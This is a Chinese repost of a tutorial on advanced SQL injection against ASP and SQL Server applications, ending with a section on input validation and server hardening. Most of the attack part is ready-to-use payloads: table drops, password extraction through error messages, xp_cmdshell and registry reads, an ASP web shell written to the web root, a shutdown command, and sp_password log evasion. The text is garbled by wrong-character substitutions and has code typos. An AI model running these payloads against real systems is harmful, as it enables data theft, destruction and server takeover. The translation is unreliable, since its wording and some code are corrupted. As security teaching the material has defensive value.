日期:2011-05-02 15:21:00 来源:本站整理
SQL Server利用程序中的高级SQL注入[MSSQL防范]
本文“SQL Server利用程序中的高级SQL注入[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
这份文档是具体谈论SQL注入技术,它适应于对比风行的IIS+ASP+SQLSERVER平台.它谈论了哪些SQL语句能通过各种各样的办法注入到利用程序中,并且记录与攻击相关的数据确认和数据库锁定.
介绍:
SQL是一种用于关系数据库的构造化查询语言.它分为很多种,但大大都都疏松地基于美国国家尺度化组织最新的尺度SQL-92.典型的履行语句是query,它可以汇集对比有达标性的记录并返回一个单一的后果集.SQL语言可以改正数据库构造(数据定义语言)和操作数据库内容(数据操作语言).在这份文档中,我们将分外谈论SQLSERVER所利用的Transact-SQL语言.
当一个攻击者可以通过往query中插入一系列的sql语句来操作数据写入到利用程序中去,我们管这种办法定义成SQL注入.
一个典型的SQL语句以下:
Select id,forename,surname from authors |
这条语句将返回authors表中全部行的id,forename和surname列.这个后果可以被限制,比方:
Select id,forename,surname from authors where forename'john' and surname='smith' |
需求侧重指明的是字符串'john'和'smith'被单引号限制.明确的说,forename和surname字段是被用户供应的输入限制的,攻击者可以通过输入值交往这个查询中注入一些SQL语句,以下:
Forename:jo'hn Surname:smith |
查询语句变成:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith' |
当数据库试图去履行这个查询时,它将返回以下错误:
Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near 'hn' |
造成这种后果的缘由是插入了.作为定界符的单引号.数据库尝试去履行'hn',但是失利.假如攻击者供应分外的输入如:
Forename:jo';drop table authors— Surname: |
后果是authors表被删除,造成这种后果的缘由我们稍后再讲.
看上去好象通过从输入中去掉单引号大概通过某些办法避免它们都可以办理这个问题.这是可行的,但是用这种办法做办理办法会存在几个艰难.第一,并非全部用户供应的数据都是字符串.假如用户输入的是通过用户id来查询author,那我们的查询应当像这样:
Select id,forename,surname from authors where id=1234 |
在这种情形下,一个攻击者可以非常简单地在数字的末尾增添SQL语句,在其他版本的SQL语言中,利用各种各样的限定标记;在数据库管理系统JET引擎中,数据可以被利用'#'限定.第二,避免单引号固然看上去可以,但是是没必要的,缘由我们稍后再讲.
我们更进一步地利用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试辨别进入一些虚拟的利用程序的权限.
这是一个提交表单页的代码,让用户输入用户名和密码:
<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_loginasp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR> <TR> <TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD> </TR> </TABLE> <INPUT type=submit value='Submit'><INPUT type=reset value='Reset'> </FORM> </Font> </BODY> </HTML> |
下面是process_login.asp的代码,它是用来掌握登陆的:
<HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>Access DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> |
呈现问题的地方是process_lgin.asp中产生查询语句的部份:
Var sql="select * from users where username='"+username+"' and password='"+password+"'"; |
假如用户输入的信息以下:
Username:';drop table users— Password: |
数据库中表users将被删除,回绝任何用户进入利用程序.'—'标记在Transact-SQL中表示忽视'—'今后的语句,';'标记表示一个查询的完毕和另一个查询的开始.'—'位于username字段中是必须的,它为了使这个特别的查询终止,并且不返回错误.
攻击者可以只需供应他们知道的用户名,便可以以任何用户登陆,利用以下输入:
Username:admin'— |
攻击者可以利用users表中第一个用户,输入以下:
Username:' or 1=1— |
更分外地,攻击者可以利用完好虚拟的用户登陆,输入以下:
Username:' union select 1,'fictional_user','some_password',1— |
这种后果的缘由是利用程序相信攻击者指定的是从数据库中返回后果的一部份.
通不对误消息得到信息
这个几近是David Litchfield首先发现的,并且通过作者浸透测试的;后来David写了一份文档,后来作者参考了这份文档.这些注释谈论了‘错误消息‘潜在的机制,使读者可以完好地理解它,潜在地引发他们的本领.
为了操作数据库中的数据,攻击者必须肯定某些数据库和某些表的构造.比方我们可以利用以下语句成立user表:
Create talbe users( Id int, Username varchar(255), Password varchar(255), Privs int ) |
然后将下面的用户插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff) Insert into users values(0,'guest','guest',0x0000) Insert into users values(0,'chris','password',0x00ff) Insert into users values(0,'fred','sesame',0x00ff) |
假如我们的攻击者想插入一个自己的用户.在不知道users表构造的情形下,他不大概成功.即便他对比幸运,至于privs字段不清楚.攻击者大概插入一个'1',这样只给他自己一个低权限的用户.
幸运地,假如从利用程序(默许为ASP行为)返回错误消息,那么攻击者可以肯定整个数据库的构造,并且可以以程序中衔接SQLSERVER的权限度曲任何值.
(下面以一个简单的数据库和asp脚本来举例阐明他们是怎么工作的)
首先,攻击者想得到成立用户的表的名字和字段的名字,要做这些,攻击者需求利用select语法的having子句:
Username:' having 1=1— |
这样将会呈现以下错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC sql server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 |
因此目前攻击者知道了表的名字和第一个地段的名字.他们仍旧可以通过把字段放到group by子句只能感去找到一个一个字段名,以下:
Username:' group by users.id having 1=1— |
呈现的错误以下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 |
终究攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1— |
这句话并不产生错误,相当于:
select * from users where username='' |
因此攻击者目前知道查询触及users表,按次序利用列'id,username,password,privs'.可以肯定每个列的范例是非常有效的.这可以通过利用范例转化来实现,比方:
Username:' union select sum(username) from users— |
这操纵了SQLSERVER在肯定两个后果集的字段能否相等前利用sum子句.尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 |
这奉告了我们'username'字段的范例是varchar.假如是另一种情形,我们尝试去计算sum()的是数字范例,我们得到的错误消息奉告我们两个调集的字段数目不相等.
Username:' union select sum(id) from users— Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 |
我们可以用这种技术近似地肯定数据库中任何表中的任何字段的范例.
这样攻击者便可以写一个好的insert查询,比方:
Username:';insert into users values(666,'attacker','foobar','0xffff)— |
这种技术的潜在影响不但仅是这些.攻击者可以操纵这些错误消息显示环境信息或数据库.通过运行一列一定格局的字符串可以得到尺度的错误消息:
select * from master ..sysmessages |
注释这些将实现风趣的消息.
一个分外有效的消息关系到范例转化.假如你尝试将一个字符串转化成一个整型数字,那么字符串的全部内容会返回到错误消息中.比方在我们简单的登陆页面中,在username背面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:' union select @@version,1,1,1— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35 |
这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字.
这种技术可以用来读取数据库中任何表的任何值.自从攻击者对用户名和用户密码对比感爱好后,他们对比喜好去从users表中读取用户名,比方:
Username:' union select min(username),1,1,1 from users where username>'a'— |
这句挑选users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35 |
因此攻击者已经知道用户admin是存在的.这样他便可以反复通过利用where子句和查询到的用户名去探求下一个用户.
Username:' union select min(username),1,1,1 from users where username>'admin'— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35 |
一旦攻击者肯定了用户名,他便可以开始汇集密码:
Username:' union select password,1,1,1 from users where username='admin'— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35 |
一个更高级的技术是将全部用户名和密码衔接长一个单独的字符串,然后尝试把它转化成整型数字.这个例子指出:Transavt-SQL语法可以在不改变相同的行的意思的情形下把它们衔接起来.下面的脚本将把值衔接起来:
begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end |
攻击者利用这个当作用户名登陆(都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end— |
这就成立了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串.正常情形下,一个低权限的用户可以在同一个数据库中成立表,大概成立暂时数据库.
然后攻击者便可以获得我们要得到的字符串:
Username:' union select ret,1,1,1 from foo— Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35 |
然后丢弃(删除)表来清楚脚迹:
Username:'; drop table foo— |
这个例子仅仅是这种技术的一个表面的作用.没必要说,假如攻击者可以从数据库中得到充足的错误西,他们的工作就变的无限简单.
得到更高的权限
一旦攻击者掌握了数据库,他们就想操纵那个权限去得到网络上更高的掌握权.这可以通过很多途径来到达:
1. 在数据库服务器上,以SQLSERVER权限操纵xp_cmdshell扩大存储历程履行号令.
2. 操纵xp_regread扩大存储历程去读注册表的键值,当然包含SAM键(前提是SQLSERVER是以系统权限运行的)
3. 操纵其他存储历程去改变服务器
4. 在衔接的服务器上履行查询
5. 成立客户扩大存储历程去在SQLSERVER进程中履行溢出代码
6. 利用'bulk insert'语法去读服务器上的肆意文件
7. 利用bcp在服务器上成立肆意的文本格局的文件
8. 利用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储历程去成立ActiveX利用程序,使它能做任何ASP脚本可以做的事情
这些只摆列了非常普通的大概攻击办法的少量,攻击者极大概利用别的办法.我们介绍汇集到的攻击关于SQL服务器的明显攻击办法,为了阐明哪方面大概并被授与权限去注入SQL..我们将顺次处理以上提到的各种办法:
[xp_cmdshell]
很多存储历程被成立在SQLSERVER中,履行各种各样的功效,比方发送电子邮件和与注册表交互.
Xp_cmdshell是一个答应履行肆意的号令行号令的内置的存储历程.比方:
Exec master..xp_cmdshell 'dir' |
将得到SQLSERVER进程的当前工作目录中的目录列表.
Exec master..xp_cmdshell 'net user' |
将供应服务器上全部用户的列表.当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害.
[xp_regread]
另一个有效的内置存储历程是xp_regXXXX类的函数调集.
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumkeys Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite |
这些函数的利用办法举比方下:
exec xp_regread HKEY_LOCAL_MacHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' |
这将肯定什么样的会话衔接在服务器上是可以利用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' |
这将显示服务器上全部SNMP集体配置.在SNMP集体很少被更改和在很多主机间同享的情形下,有了这些信息,攻击者大概会重新配置同一网络中的网络设备.
这很简单想象到一个攻击者可以操纵这些函数读取SAM,改正系统服务的配置,使它下次机械重启时启动,或在下次任何用户登陆时履行一条肆意的号令.
[其他存储历程]
xp_servicecontrol历程答应用户启动,终止,暂停和持续服务:
exec master..xp_servicecontrol 'start','schedule' exec master..xp_servicecontrol 'start','server' |
下表中列出了少量的其他有效的存储历程:
Xp_availablemedia 显示机械上有效的驱动器
Xp_dirtree 答应得到一个目录树
Xp_enumdsn 摆列服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 答应用户在服务器上成立一个紧缩文件
Xp_ntsec_enumdomains 摆列服务器可以进入的域
Xp_terminate_process 供应进程的进程ID,终止此进程
[Linked Servers]
SQL SERVER供应了一种答应服务器衔接的机制,也就是说答应一台数据库服务器上的查询可以操作另一台服务器上的数据.这个链接存放在master.sysservers表中.假如一个衔接的服务器已经被设置成利用'sp_addlinkedsrvlogin'历程,当前可托的衔接不用登陆便可以拜候到服务器.'openquery'函数答应查询脱离服务器也可以履行.
[Custom extended stored procedures]
扩大存储历程利用程序接口是相当简单的,成立一个携带恶意代码的扩大存储历程动态衔接库是一个相当简单的任务.利用号令行有几个办法可以上传动态衔接库到SQL服务器上,还有别的包含了多种自动通讯的通讯机制,比方HTTP下载和FTP脚本.
一旦动态衔接库文件在机械上运行即SQL服务器可以被拜候——这不需求它自己是SQL服务器——攻击者就可以够利用下面的号令增添扩大存储历程(这种情形下,我们的恶意存储历程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll' |
在正常的方法下,这个扩大存储历程可以被运行:
exec xp_webserver |
一旦这个程序被运行,可以利用下面的办法将它除去:
xp_dropextendedproc 'xp_webserver' |
[将文本文件导入表]
利用'bulk insert'语法可以将一个文本文件插入到一个暂时表中.简单地成立这个表:
create table foo( line varchar(8000) ) |
然后履行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' |
可以利用上述的错误消息技术,大概利用'union'挑选,使文本文件中的数据与利用程序正常返回的数据结合,将数据取回.这个用来获得存放在数据库服务器上的脚本源代码大概ASP脚本代码是非常有效的.
[利用bcp成立文本文件]
利用'bulk insert'的相对技术可以很简单成立肆意的文本文件.不幸的是这需求号令行工具.'bcp',即'bulk copy program'
既然 bcp可以从SQL服务进程外拜候数据库,它需求登陆.这代表得到权限不是很艰难,既然攻击者能成立,大概操纵整体安全机制(假如服务器配置成可以利用它).
号令行格局以下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar |
'S'参数为履行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中供应了几个内置的答应成立ActiveX自动履行脚本的存储历程.这些脚本和运行在windows脚本注释器下的脚本,大概ASP脚本程序一样——他们利用VBScript或javascript书写,他们成立自动履行对象并和它们交互.一个自动履行脚本利用这种办法书写可以在Transact-SQL中做任安在ASP脚本中,大概WSH脚本中可以做的任何事情.为了阐明这鞋,这里供应了几个例子:
(1)这个例子利用'wscript.shell'对象成立了一个记事本的实例:
wscript.shell example declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe' |
我们可以通过指定在用户名背面来履行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'— |
(2)这个例子利用'scripting.filesystemobject'对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret=sp_oamethod @f,'readline',@line out while(@ret=0) begin print @line exec @ret=sp_oamethod @f,'readline',@line out end |
(3)这个例子成立了一个能履行通过提交到的任何号令:
-- scripting.filesystemobject example – create a 'run this'.asp file declare @o int,@f int,@t int,@ret int exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1 exec @ret=sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>' |
需求指出的是假如运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的号令是以系统权限运行的.在IIS5中,它以一个对比低的权限IWAM_XXXaccount运行.
(4)这些例子阐述了这个技术的实用性;它可以利用'speech.voicetext'对象惹起SQL SERVER发声:
declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528 waitfor delay '00:00:05' |
我们可以在我们假定的例子中,通过指定在用户名背面来履行它(注意这个例子不但仅是注入一个脚本,同时以admin权限登陆到利用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'-- |
[存储历程]
传说假如一个ASP利用程序在数据库中利用了存储历程,那么SQL注入是不大概的.这句话只对了一半,这要看ASP脚本中调用这个存储历程的方法.
本质上,假如一个有参数的查询被履行 ,并且用户供应的参数通过安全查抄才放入到查询中,那么SQL注入明显是不大概发生的.但是假如攻击者勤奋影响所履行查询语句的非数据部份,这样他们便大概可以掌握数据库.
对比好的通例的尺度是:
1) 假如一个ASP脚本可以产生一个被提交的SQL查询字符串,即便它利用了存储历程也是可以惹起SQL注入的弱点.
2) 假如一个ASP脚本利用一个历程对象限制参数的往存储历程中分配(比方ADO的用于参数汇集的command对象),那么通过这个对象的履行,它普通是安全的.
明显地,既然新的攻击技术始终地被发现,好的惯例仍旧是考证用户全部的输入.
为了阐明存储历程的查询注入,履行以下语句:
sp_who '1' select * from sysobjects or sp_who '1';select * from sysobjects |
任何一种办法,在存储历程后,追加的查询仍然会履行.
高级SQL注入
普通情形下,一个web利用程序将会过滤单引号(或其他标记),大概限定用户提交的数据的长度.
在这部份,我们谈论一些能帮忙攻击者饶过那些明显防备SQL注入,躲避被记录的技术.
[没有单引号的字符串]
有时刻开辟人员会通过过滤全部的单引号来保护利用程序,他们大概利用VBScript中的replace函数或近似:
function escape(input) input=replace(input,"'","''") escape=input end function |
无可否定地这避免了我们全部例子的攻击,再除去';'标记也可以帮很多忙.但是在一个大型的利用程序中,好象个体值盼望用户输入的是数字.这些值没有被限定,因此为攻击者供应了一个SQL注入的弱点.
假如攻击者想不利用单引号产生一个字符串值,他可以利用char函数,比方:
insert into users values(666, char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 0xffff) |
这就是一个可以往表中插入字符串的不包含单引号的查询.
淡然,假如攻击者不介意利用一个数字用户名和密码,下面的语句也一样会起作用:
insert into users values(667, 123, 123, oxffff) |
SQL SERVER自动地将整型转化为varchar型的值.
[Second-Order SQL Injection]
即便利用程序老是过滤单引号,攻击者仍然可以注入SQL一样通过利用程序使数据库中的数据反复利用.
比方,攻击者大概操纵下面的信息在利用程序中注册:
Username:admin'— Password:password |
利用程序精确过滤了单引号,返回了一个近似这样的insert语句:
insert into users values(123,'admin''—','password',0xffff) |
我们假定利用程序答应用户改正自己的密码.这个ASP脚本程序首先保证用户设置新密码前拥有精确的旧密码.代码以下:
username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; rso.open( sql, cn ); if (rso.EOF) { … |
设置新密码的代码以下:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'" rso("username")为登陆查询中返回的用户名 |
当username为admin'—时,查询语句为:
update users set password = 'password' where username='admin'—' |
这样攻击者可以通过注册一个admin'—的用户来按照自己的设法来设置admin的密码.
这是一个非常严重的问题,目前在大型的利用程序中试图去过滤数据.最好的办理办法是回毫不法输入,这胜于简单地勤奋去改正它.这有时会招致一个问题,不法的字符在那边是必要的,比方在用户名中包含'标记,比方:O'Brien
从一个安全的概念来看,最好的解答是但引号不答应存在是一个简单的事实.假如这是无法承受的话,他们仍旧要被过滤;在这种情形下,保证全部进入SQL查询的数据都是精确的是最好的办法.
假如攻击者不利用任何利用程序莫名其妙地往系统中插入数据,这种方法的攻击也是大概的.利用程序大概有email接口,大概大概在数据库中可以存储错误日记,这样攻击者可以勤奋掌握它.考证全部数据,包含数据库中已经存在的数据始终是个好的办法.确认函数将被简单地调用,比方:
if(not isValid("email",request.querystring("email"))) then response.end |
大概近似的办法.
[长度限制]
为了给攻击者更多的艰难,有时输入数据的长度是被限制的.当这个阻碍了攻击时,一个小的SQL可以造成很严重的危害.比方:
Username:';shutdown— |
这样只用12个输入字符就将终止SQL SERVER实例.另一个例子是:
drop table <tablename> |
假如限定长度是在过滤字符串后利用将会引发另一个问题.假定用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会履行上面提到的shutdown号令:
Username:aaaaaaaaaaaaaaa' Password:'; shutdown— |
缘由是利用程序尝试去过滤用户名最后的单引号,但是字符串被堵截成16个字符,删除了过滤后的一个单引号.这样的后果就是假如密码字段以单引号开始,它可以包含一些SQL语句.既然这样查询看上去是:
select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown— |
实际上,查询中的用户名已经变成:
aaaaaaaaaaaaaaa' and password=' |
因此最后的SQL语句会被履行.
[审计]
SQL SERVER包含了丰富的答应记录数据库中的各种事件的审计接口,它包含在sp_traceXXX类的函数中.分外有意思的是可以记录全部SQL语句,然后在服务器上履行的T-SQL的事件.假如这种审计是被激活的,我们谈论的全部注入的SQL查询都将被记录在数据库中,一个纯熟的数据库管理员将可以知道发生了什么事.不幸地,假如攻击者追加以下字符串:Sp_password
到一个Transact-SQL语句中,这个审计机制记录日记以下:
--'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons. |
这种行为发生在全部的T-SQL日记记录中,即便'sp_password'发生在一个注释中.这个历程打算通过sp_password躲藏用户的密码,但这关于一个攻击者来说是非常有效的办法.
因此,为了躲藏全部注入,攻击者需求简单地在'—'注释字符后追加sp_password,比方:Username:admin'—sp_password
事实上一些被履行的SQL将被记录,但是查询本身将顺利地从日记中消逝.
[防备]
这部份谈论针对记叙的攻击的一些防备.我们将谈论输入确认和供应一些简单的代码,然后我们将从事SQL SERVER锁定.
[输入考证]
输入考证是一个复杂的标题.对比有代表性的是,自从过于严密地确认偏向于惹起部份利用程序的暂停,输入确认问题很难被办理,在项目开辟中投入很少的注意力在输入确认上.输入确认不是偏向于将它加入到利用程序的功效当中,因此它普通会被轻忽.
下面是一个含有简单代码的谈论输入确认的大纲.这个简单的代码不能直接用于利用程序中,但是它非常清楚地阐明了差别的战略.
差别的数据确认办法可以按以下分类:
1) 勤奋改正数据使它成为精确的
2) 回绝被认为是错误的输入
3) 只接纳被认为是精确的输入
第一种情形有一些概念上的问题;首先,开辟人员没必要知道那些是错误数据,因为新的错误数据的情势始终被发现.其次,改正数据会惹起上面描写过的数据的长度问题.最后,二次利用的问题包含系统中已经存在数据的重新利用.
第二种情形也存在第一种情形中的问题;已知的错误输入随着攻击技术的发展改变.
第三种情形大概是三种中最好的,但是很难实现.
从安全角度看归并第二种办法和第三种办法大概是最好的办法——只答应精确的输入,然后搜索输入中已知的错误数据.
带有衔接标记的姓名的问题关于表现归并两种办法的必要性是一个好的例子:
Quentin Bassington-Bassington
我们必须在精确输入中答应衔接标记,但是我们也意识到字符序列'—'对SQL SERVER很重要.
当归并改正数据和字符序列确认时,会呈现另一个问题.比方,假如我们利用一个错误过滤在除去单引号之后去探测'—','select'和'union',攻击者可以输入:
uni'on sel'ect @@version-'-
既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现.
这有一些确认代码的例子:
办法一——过滤单引号
function escape(input) input=replace(input,"'","''") escape=input end function |
办法二——回绝已知的错误输入
function validate_string(input) known_bad=array("select","insert","update","delete","drop","—","'") validate_string=true for i=lbound(known_bad) to ubound(known_bad) if(instr(1,input,known_bad(i),vbtextcompare)<>0) then validate_string=false exit function end if next end function |
办法三——只答应精确的输入
function validatepassword(input) good_password_chars=" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword=true for i=1 to len(input) c=mid(input,I,1) if(InStr(good_password_chars,c)=0) then validatepassword=false exit function end if next end function |
[SQL SERVER锁定]
在这指出的重要一点是锁定SQL SERVER是必要的;表面的是不安全的.这是一个但成立SQL SERVER时需求做的事情的简短的列表:
1.肯定衔接服务器的办法
a.肯定你所利用的网络库是可用的,那么利用"Network Utility"
2.肯定哪些帐户是存在的
a.为利用程序的利用成立一个低权限的帐户
b.删除不必要的帐户
c.肯定全部帐户有强壮的密码;履行密码审计
3.肯定哪些对象存在
a.很多扩大存储历程能被安全地移除.假如这样做了,应当移除包含在扩大存储历程代码中的'.dll'文件
b.移除全部示例数据库——比方'northwind'和'pubs'数据库
4.肯定哪写帐户能过利用哪些对象
a.利用程序进入数据库所利用的帐户应当有保证可以利用它需求的对象的最小权限
5.肯定服务器的补钉
a.针对SQL SERVER有一些缓冲区溢出和格局化字符串攻击,也有一些其他的安全补钉公布.应当存在很多.
6.肯定什么应当被日记记录,什么应当在日记中完毕. 以上是“SQL Server利用程序中的高级SQL注入[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |
评论内容只代表网友观点,与本站立场无关!
评论摘要(共 0 条,得分 0 分,平均 0 分)
查看完整评论